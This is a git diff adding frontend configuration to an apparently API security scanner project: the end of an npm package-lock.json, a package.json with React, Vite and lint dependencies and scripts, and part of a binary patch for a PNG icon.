"2.1.0", + "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.1.0.tgz", + "integrity": "sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.12" + }, + "peerDependencies": { + "typescript": ">=4.8.4" + } + }, + "node_modules/tsconfck": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/tsconfck/-/tsconfck-3.1.6.tgz", + "integrity": "sha512-ks6Vjr/jEw0P1gmOVwutM3B7fWxoWBL2KRDb1JfqGVawBmO5UsvmWOQFGHBPl5yxYz4eERr19E6L7NMv+Fej4w==", + "dev": true, + "bin": { + "tsconfck": "bin/tsconfck.js" + }, + "engines": { + "node": "^18 || >=20" + }, + "peerDependencies": { + "typescript": "^5.0.0" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==" + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/typed-array-buffer": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz", + "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/typed-array-byte-length": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz", + "integrity": "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-byte-offset": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz", + "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==", + "dev": true, + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.15", + "reflect.getprototypeof": "^1.0.9" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-length": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz", + "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.7", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "is-typed-array": "^1.1.13", + "possible-typed-array-names": "^1.0.0", + "reflect.getprototypeof": "^1.0.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typescript": { + "version": "5.8.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.8.3.tgz", + "integrity": "sha512-p1diW6TqL9L07nNxvRMM7hMMw4c5XOo/1ibL4aAIGmSAt9slTE1Xgw5KWuof2uTOvCg9BY7ZRi+GaF+7sfgPeQ==", + "dev": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/typescript-eslint": { + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.46.3.tgz", + "integrity": "sha512-bAfgMavTuGo+8n6/QQDVQz4tZ4f7Soqg53RbrlZQEoAltYop/XR4RAts/I0BrO3TTClTSTFJ0wYbla+P8cEWJA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/eslint-plugin": "8.46.3", + "@typescript-eslint/parser": "8.46.3", + "@typescript-eslint/typescript-estree": "8.46.3", + "@typescript-eslint/utils": "8.46.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/unbox-primitive": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz", + "integrity": "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.3", + "has-bigints": "^1.0.2", + "has-symbols": "^1.1.0", + "which-boxed-primitive": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/undici-types": { + "version": "7.16.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.16.0.tgz", + "integrity": "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==", + "dev": true, + "license": "MIT", + "optional": true, + "peer": true + }, + "node_modules/unified": { + "version": "11.0.5", + "resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz", + "integrity": "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==", + "dependencies": { + "@types/unist": "^3.0.0", + "bail": "^2.0.0", + "devlop": "^1.0.0", + "extend": "^3.0.0", + "is-plain-obj": "^4.0.0", + "trough": "^2.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-is": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.1.tgz", + "integrity": "sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-position": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-5.0.0.tgz", + "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-5.0.0.tgz", + "integrity": "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0", + "unist-util-visit-parents": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit-parents": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-6.0.2.tgz", + "integrity": "sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.4.tgz", + "integrity": "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/use-callback-ref": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/use-callback-ref/-/use-callback-ref-1.3.3.tgz", + "integrity": "sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg==", + "dependencies": { + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/use-sidecar": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/use-sidecar/-/use-sidecar-1.1.3.tgz", + "integrity": "sha512-Fedw0aZvkhynoPYlA5WXrMCAMm+nSWdZt6lzJQ7Ok8S6Q+VsHmHpRWndVRJ8Be0ZbkfPc5LRYH+5XrzXcEeLRQ==", + "dependencies": { + "detect-node-es": "^1.1.0", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/use-sync-external-store": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz", + "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==", + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/vfile": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz", + "integrity": "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==", + "dependencies": { + "@types/unist": "^3.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-message": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.3.tgz", + "integrity": "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/victory-vendor": { + "version": "37.3.6", + "resolved": "https://registry.npmjs.org/victory-vendor/-/victory-vendor-37.3.6.tgz", + "integrity": "sha512-SbPDPdDBYp+5MJHhBCAyI7wKM3d5ivekigc2Dk2s7pgbZ9wIgIBYGVw4zGHBml/qTFbexrofXW6Gu4noGxrOwQ==", + "dependencies": { + "@types/d3-array": "^3.0.3", + "@types/d3-ease": "^3.0.0", + "@types/d3-interpolate": "^3.0.1", + "@types/d3-scale": "^4.0.2", + "@types/d3-shape": "^3.1.0", + "@types/d3-time": "^3.0.0", + "@types/d3-timer": "^3.0.0", + "d3-array": "^3.1.6", + "d3-ease": "^3.0.1", + "d3-interpolate": "^3.0.1", + "d3-scale": "^4.0.2", + "d3-shape": "^3.1.0", + "d3-time": "^3.0.0", + "d3-timer": "^3.0.1" + } + }, + "node_modules/vite": { + "version": "7.2.2", + "resolved": "https://registry.npmjs.org/vite/-/vite-7.2.2.tgz", + "integrity": "sha512-BxAKBWmIbrDgrokdGZH1IgkIk/5mMHDreLDmCJ0qpyJaAteP8NvMhkwr/ZCQNqNH97bw/dANTE9PDzqwJghfMQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.25.0", + "fdir": "^6.5.0", + "picomatch": "^4.0.3", + "postcss": "^8.5.6", + "rollup": "^4.43.0", + "tinyglobby": "^0.2.15" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^20.19.0 || >=22.12.0", + "jiti": ">=1.21.0", + "less": "^4.0.0", + "lightningcss": "^1.21.0", + "sass": "^1.70.0", + "sass-embedded": "^1.70.0", + "stylus": ">=0.54.8", + "sugarss": "^5.0.0", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/vite-tsconfig-paths": { + "version": "5.1.4", + "resolved": "https://registry.npmjs.org/vite-tsconfig-paths/-/vite-tsconfig-paths-5.1.4.tgz", + "integrity": "sha512-cYj0LRuLV2c2sMqhqhGpaO3LretdtMn/BVX4cPLanIZuwwrkVl+lK84E/miEXkCHWXuq65rhNN4rXsBcOB3S4w==", + "dev": true, + "dependencies": { + "debug": "^4.1.1", + "globrex": "^0.1.2", + "tsconfck": "^3.0.3" + }, + "peerDependencies": { + "vite": "*" + }, + "peerDependenciesMeta": { + "vite": { + "optional": true + } + } + }, + "node_modules/vite/node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/vite/node_modules/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-boxed-primitive": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz", + "integrity": "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==", + "dev": true, + "dependencies": { + "is-bigint": "^1.1.0", + "is-boolean-object": "^1.2.1", + "is-number-object": "^1.1.1", + "is-string": "^1.1.1", + "is-symbol": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-builtin-type": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz", + "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.2", + "function.prototype.name": "^1.1.6", + "has-tostringtag": "^1.0.2", + "is-async-function": "^2.0.0", + "is-date-object": "^1.1.0", + "is-finalizationregistry": "^1.1.0", + "is-generator-function": "^1.0.10", + "is-regex": "^1.2.1", + "is-weakref": "^1.0.2", + "isarray": "^2.0.5", + "which-boxed-primitive": "^1.1.0", + "which-collection": "^1.0.2", + "which-typed-array": "^1.1.16" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-collection": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz", + "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==", + "dev": true, + "dependencies": { + "is-map": "^2.0.3", + "is-set": "^2.0.3", + "is-weakmap": "^2.0.2", + "is-weakset": "^2.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-typed-array": { + "version": "1.1.19", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.19.tgz", + "integrity": "sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==", + "dev": true, + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "for-each": "^0.3.5", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ws": { + "version": "8.17.1", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.17.1.tgz", + "integrity": "sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ==", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xmlhttprequest-ssl": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.1.2.tgz", + "integrity": "sha512-TEU+nJVUUnA4CYJFLvK5X9AOeH4KvDvhIfm0vV1GaQRtchnG0hgK5p8hw/xjv8cunWYCsiPCSDzObPyhEwq3KQ==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true, + "license": "ISC" + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zod": { + "version": "4.1.12", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.1.12.tgz", + "integrity": "sha512-JInaHOamG8pt5+Ey8kGmdcAcg3OL9reK8ltczgHTAwNhMys/6ThXHityHxVV2p3fkw/c+MAvBHFVYHFZDmjMCQ==", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, + "node_modules/zustand": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.8.tgz", + "integrity": "sha512-gyPKpIaxY9XcO2vSMrLbiER7QMAMGOQZVRdJ6Zi782jkbzZygq5GI9nG8g+sMgitRtndwaBSl7uiqC49o1SSiw==", + "engines": { + "node": ">=12.20.0" + }, + "peerDependencies": { + "@types/react": ">=18.0.0", + "immer": ">=9.0.6", + "react": ">=18.0.0", + "use-sync-external-store": ">=1.2.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "immer": { + "optional": true + }, + "react": { + "optional": true + }, + "use-sync-external-store": { + "optional": true + } + } + }, + "node_modules/zwitch": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz", + "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + } + } +} diff --git a/api-security-scanner/frontend/package.json b/api-security-scanner/frontend/package.json new file mode 100644 index 00000000..81d668a9 --- /dev/null +++ b/api-security-scanner/frontend/package.json @@ -0,0 +1,60 @@ +{ + "name": "api-security-scanner", + "version": "1.0.0", + "private": true, + "type": "module", + "scripts": { + "build": "vite build", + "dev": "vite", + "format": "prettier --write \"**/*.{ts,tsx,scss}\"", + "format:check": "prettier --check \"**/*.{ts,tsx,scss}\"", + "lint": "npm run lint:eslint && npm run lint:scss && npm run lint:types", + "lint:eslint": "eslint . --ext .ts,.tsx --max-warnings 0", + "lint:types": "tsc --project tsconfig.app.json --noEmit" + }, + "dependencies": { + "@hookform/resolvers": "^5.2.1", + "@radix-ui/react-collapsible": "^1.1.12", + "@radix-ui/react-dialog": "^1.1.15", + "@radix-ui/react-dropdown-menu": "^2.1.16", + "@radix-ui/react-tabs": "^1.1.13", + "@radix-ui/react-toast": "^1.2.15", + "@radix-ui/react-tooltip": "^1.2.8", + "@tanstack/react-query": "^5.85.3", + "@tanstack/react-query-devtools": "^5.85.3", + "axios": "^1.12.2", + "clsx": "^2.1.1", + "date-fns": "^4.1.0", + "immer": "^10.1.1", + "react": "^19.1.1", + "react-dom": "^19.1.1", + "react-hook-form": "^7.62.0", + "react-icons": "^5.5.0", + "react-markdown": "^10.1.0", + "react-router-dom": "^7.8.1", + "recharts": "^3.1.2", + "socket.io-client": "^4.8.1", + "sonner": "^2.0.7", + "zod": "^4.0.17", + "zustand": "^5.0.7" + }, + "devDependencies": { + "@eslint/js": "^9.33.0", + "@types/react": "^19.1.10", + "@types/react-dom": "^19.1.7", + "@vitejs/plugin-react": "^5.0.0", + "eslint": "^9.33.0", + "eslint-config-prettier": "^10.1.8", + "eslint-plugin-jsx-a11y": "^6.10.2", + "eslint-plugin-react": "^7.37.5", + "eslint-plugin-react-hooks": "^5.2.0", + "eslint-plugin-react-refresh": "^0.4.20", + "globals": "^16.3.0", + "husky": "^8.0.0", + "prettier": "^3.6.2", + "typescript": "~5.8.3", + "typescript-eslint": "^8.39.1", + "vite": "^7.1.2", + "vite-tsconfig-paths": "^5.1.4" + } +} diff --git a/api-security-scanner/frontend/public/android-chrome-192x192.png b/api-security-scanner/frontend/public/android-chrome-192x192.png new file mode 100644 index 0000000000000000000000000000000000000000..0f026f7faa0d9a8d81a609e7673089ba9de2e141 GIT binary patch literal 18165 zcmaHTWmH>1yERVm0KwfUZpAgYOVQ#kMS{CqaVW)#1}{?F9f}l};_gt~q1dJGy6^q| zeLs?{m7JM1bI!~&``LRxiBeOM#Xu!Sg@J*=ke8Fvc>C=B_W~fjy=$!4Bg4P|VdSMG zG`(PtJCM`K2HolZ>Xc+&W&1KPSOfuRdz6yCGAa~nYv!})*XGVY&P^8h@X=6;uFIqPt0}P5t(xZj|S0%if2#{x(3&Sw9sv zx-;ev7`rn_oo{viHP%&cT5eh3{@42d^PP4gTt(^QAA{qOowv@}lhuQQ>YkpQ-$s?@ ztQrnHM}kw+#DjYAeMbf}LVVjNc`yuD{XhR~&0|Du7oGc{`4eaLvzvS0?giDrr8pxh z)aLx}^CSiVj>t10jQXu9TNCm?lyD#=f_OIppcmo|+^>P&|7r}Kbc3(SkwBp4Y{ZkQ z^$a>`ftC>;wQcTR7_L4;y!|1mMFM#&hL%P1K){EC0ua-?#DFfW3k$xjj_1#J80zP^ zz*aO^CUF-NLjUqP4M3k-DFRfN^ts^Elx@=_cRT7YsCrmFiqsa08w=&4SV)esWh3yfYv6og)NMzF;CIk6Ourj(&mkoMTO;M?n-X;_^;Fr2End@5FjU$NK4lzl|D7 zcPm+{UZOWyOB=*}{I$;IZFSVu?mfUs&p=z+)wD2rHK3o!ZOX=zR^d}DMU8{N3&ARW zr^5ekk*L>>pAVZ-?BE)5^s4pP)6E7soN?N}G8-74rfxHq2gC-U2vD^kHD*qZ z=%l!1fKw~>33*Va?%L5^UtV@z@=84(2sTGCv>q7&r&j-}}xFfL4=@?rY{@u)`+ ze>bSs=KBX5SMg!>j<2D%8I1UQNfV=^1j z*vmUM>szCfcJ-80iKJ6PD}0%(LzP+YRWxD>I%pMDsCq*r44l+TCF_yfUx30rKprMT zA0N1u79t)yOA;>kQNg7wQ;p=osl8E+accp1U60r7K!7_6}O56Rd4ueO;RT}p=1&d7UbrPI5dy6 zSBRtNIsU0WT0)xdVn%SNFtn&d9xSsRAH$HTGoP)a~?!Q-$&z%7J#x7su4K8AD9z!T|nbyyHoJpRvv zChGQtNKApRr>Wn%(I~lCMDGgew-n-)R%A|}*uTgT9JM~I5%U%O8|MI=>jN*w6$jLS zBn1wk01)ou;y}(S|I3Qej#cp_RHCvPOK>wiOsRmRaS15@IXoaZ#)P6d7&vOaZn*@l za}^ixP5MBMC@5u$F?n-PU@S@)*Cz|WiKaXFgAOeZ1mOH}J4pI9R+6|klq1NCq=ijr z(1BWTG-rBJ98>-9Wu*Ehnz_bwM7vew(Yt~oxkEo|;n!y0(nE-m?Xjg<0;=Mh_wDHsec7&>@ka^ey$olXp*<^x^)W;DE(=|-2{Z)W;4-lA0 z^Xw{=+jGj0+x>%qd@u?Aaf-HB)$Pt?EFx~f>w?$5YwsiN7x}N;SLq}a3{rMI%J9NJ 